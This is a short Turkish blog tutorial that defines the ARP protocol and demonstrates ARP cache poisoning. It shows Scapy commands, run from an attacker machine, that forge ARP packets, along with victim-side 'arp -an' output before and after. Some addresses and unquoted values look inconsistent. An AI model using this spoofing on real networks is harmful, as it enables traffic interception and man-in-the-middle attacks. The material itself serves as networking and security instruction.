yüksek çözünürlüklü network kartı

Arp Nedir?

Adres Çözümleme Protokolü (Address Resolution Protocol) ağ katmanı adreslerinin veri bağlantısı katmanı adreslerine (IP adreslerinin MAC adreslerine) çözümlenmesini sağlayan bir iletişim protokolüdür.

Daha önceden eklenmemiş bir MAC adresinin ip adresi değiştirilemez

ARP tablosunda IP adresini değiştirmek için

(kurban) $ arp -an
? (192.168.42.40) at 08:00:27:54:f1:62 [ether] on enp0s16u2
(saldırgan) $ scapy
>>> etherbaslik= Ether(dst=ea:0e:3d:8f:cc:e0,src=31:30:31:31:31:31)
>>> arpbaslik = ARP(op=2, hwsrc=31:30:31:31:31:31,psrc=192.168.42.30,pdst=192.168.42.57)
>>> paket = etherbaslik/arpbaslik
>>> sendp(paket,iface=enp0s8)
Sent 1 packets.
(kurban) $ arp -an
? (192.168.42.40) at 31:30:31:31:31:31 [ether] on enp0s16u2

ARP tablosuna IP eklemek için

(kurban) $ arp -an
 ? (192.168.42.129) at 8e:5d:7a:f1:c0:4f [ether] on enp0s16u2
(saldırgan) $ scapy
>>> etherbaslik= Ether(dst=ff:ff:ff:ff:ff:ff,src=08:00:27:54:f1:62)
>>> arpbaslik = ARP(op=1, hwsrc=08:00:27:54:f1:61,psrc=192.168.42.40,pdst=192.168.42.57)
>>> paket = etherbaslik/arpbaslik
>>> sendp(paket,iface=enp0s8)
Sent 1 packets.
(kurban) $ arp -an
 ? (192.168.42.129) at 8e:5d:7a:f1:c0:4f [ether] on enp0s16u2
 ? (192.168.42.40) at 08:00:27:54:f1:61 [ether] on enp0s16u2
Share this article
Shareable URL
Prev Post

Netcat/Ncat Kullanımı

Next Post

Docker-compose Kullanarak Mevcut Docker Imajları Nasıl Güncellenir?

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Read next
1
Share